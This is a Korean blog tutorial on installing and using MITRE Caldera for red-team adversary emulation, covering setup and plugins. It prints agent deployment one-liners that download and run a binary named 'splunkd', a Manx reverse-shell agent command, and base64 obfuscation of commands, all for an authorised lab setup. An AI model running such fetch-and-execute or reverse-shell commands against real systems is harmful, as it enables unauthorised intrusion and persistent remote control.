작성 기준: 2023년 10월
MITRE Caldera
https://github.com/mitre/caldera
GitHub - mitre/caldera: Automated Adversary Emulation Platform
Automated Adversary Emulation Platform. Contribute to mitre/caldera development by creating an account on GitHub.
github.com
https://caldera.readthedocs.io/en/latest/Getting-started.html
MITRE ATT&CK 프레임워크를 기반으로 구축된 사이버 보안 플랫폼
적대적 에뮬레이션을 쉽게 자동화하고, 수동 레드팀을 지원하고, 사고 대응을 자동화하도록 설계됨
Caldera 설치
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
pip3 install -r requirements.txt
python3 server.py --insecure --build //서버 시작
(이후에는 플러그인 추가 또는 UI 변경 시에만 --build 사용)
(--insecure는 꼭 꼭 필수)

위 사진처럼 ERROR 없이 CALDERA 표시 뜨면 성공
⚠️ 설치 중 에러 뜨는 경우 해결법
1. `pip install -a requirements.exe` 입력 시 다음과 같이 에러 뜨는 경우

해결 방법: `sudo apt update`하고 다시 시도
2. go version 관련 에러 뜨는 경우
해결 방법: Go 설치 및 최신 버전 확인
sudo wget https://go.dev/dl/go1.22.5.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.22.5.linux-amd64.tar.gz
cd /usr/local/go/bin
go version # 버전 확인
# 아니면 ./go version
vi ~/.bash_profile # 환경변수 지정
export GOPATH=$HOME/go
export PATH=$PATH:$GOPATH/bin
export PATH=$PATH:/usr/local/go/bin
source ~/.bash_profile
3. npm 에러
해결방법: `sudo apt install nodejs npm`
4. docker 에러
해결방법: `pip install docker`
Caldera 접속
`http://localhost:8888` 접속

Username: admin
Password: admin
- red / admin: 레드팀 플러그인
- blue / admin: 블루팀 플러그인
Agent 등록

CAMPAIGNS - agents

Deploy an agent

Sandcat 선택

agent 1)

server="http://0.0.0.0:8888";
curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splunkd;
chmod +x splunkd;
./splunkd -server $server -group red -v
복사 후 터미널에 입력


등록 완료
agent 2)

server="http://0.0.0.0:8888";
agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
nohup ./$agent -server $server -group blue &
Caldera Plugin
Access
- 레드팀 초기 액세스 도구 및 기술
- 데이터베이스의 기능을 사용하여 에이전트에 작업 수행 가능
- Initial Access Attacks 수행 가능

PLUGINS - access

Select an agent (등록한 agent 선택)

Run an Ability 클릭

원하는 Tactic - Technique - Ability 선택

- 해당 기능에 대한 세부 정보 표시
- ex) view Processes: 현재 시스템 프로세스에 대한 정보 표시
- 필요 시 선택한 능력에 필요한 속성에 대한 값을 입력해야 함
- Obfuscator: 난독화 선택

status - in progress, success, failed 중 하나
Output 눌러서 결과 확인

Command: 기능 실행을 위한 커맨드
Standard Output: 실행한 기능에 대한 결과 확인 가능
Standart Error: 기능 실행 실패 시 에러값 출력
+) Obfuscator - base64 선택 시

문자열을 디코드하고 디코드된 문자열을 명령어로 실행함.
ex) base64로 인코딩된 문자열 "cHM="을 디코드하고, 그 디코드된 문자열인 "ps"를 실행
Atomic
- Atomic Red Team 프로젝트 TTPs
- 실행 중인 에이전트에서 특정 ATT&CK 전술/기술 구현 가능
- 실행 명령어, 실행할 수 있는 플랫폼/실행자(ex. Windows, Powershell), 포함할 페이로드, Caldera 서버에서 출력 구문을 분석하는 모듈에 대한 참조

Abilities 클릭

Tactic, Technique, Plugin, Platform 선택으로 필터링

필터링으로 abilities 확인 완료
Compass
- TTPs 탐색을 위한 시각화 만들기
- MITRE ATT&CK Navigator 활용
- ATT&CK 매트릭스를 시각적으로 표시하는 도구
- 다양한 공격 기술과 기술들 간의 관계 탐색 가능

Create New Layer - Enterprise

Debrief
- 선택한 작업에 대한 전반적인 캠페인 정보 및 분석 수집 방법 제공
- 작업 메타데이터에 대한 중앙 집중식 보기, 작업 그래픽 표시, 사용된 tactics, techniques, operation에서 발견한 사실 제공
- 플러그인은 PDF 형식으로 캠페인 정보 및 분석 내보내기를 추가로 지원
debrief 플러그인 사용을 위해 operation 생성 필요

CAMPAIGNS - operations

Create Operation

설정 후 Start

operation 생성 완료
Debrief


operation 선택

정보 및 분석 확인 가능
Fieldmanual
- Caldera 매뉴얼 사이트
- Caldera 설치, 사용 방법, 플러그인 라이브러리 설명 등 정리

Manx
- 리버스셀 역할을 하는 agent로 TCP 통신을 사용
- 셀 기능 및 역방향 쉘 페이로드
- agent를 수동으로 시작/종료하기 위한 역셀 페이로드와 함께 Caldera에 대한 셀 액세스 제공
- TCP agent 기반으로 서버에 연결 후 이를 통해 호스트와 서버 간의 지속적인 연결 유지 가능
manx 플러그인 사용을 위해 agent 등록 필요

Manx 선택


터미널에 복사 후 입력
server="http://0.0.0.0:8888";
socket="0.0.0.0:7010";
contact="tcp";
curl -s -X POST -H "file:manx.go" -H "platform:linux" $server/file/download > splunkd;
chmod +x splunkd;
./splunkd -http $server -socket $socket -contact $contact -v
Sandcat
https://caldera.readthedocs.io/en/latest/plugins/sandcat/Sandcat-Details.html
Caldera 작업에 사용하는 기본 에이전트 - Golang으로 작성
Stockpile
- Caldera에 TTPs 및 공격자 프로필을 제공
- Abilities
- Adversaries
- Planner
- Facts

Abilities, Adversaries 클릭 시 각 페이지로 이동
Training
- Caldera 주제 전문가(SME)가 되기 위한 인증 과정을 제공
- Caldera 사용 능력을 증명하는 ‘사용자 인증서’를 얻을 수 있음


끝 (●'◡'●)
'보안 > RedTeam' 카테고리의 다른 글
| TTPs / MITRE ATT&CK (0) | 2025.07.30 |
|---|---|
| Atomic Red Team (0) | 2025.03.25 |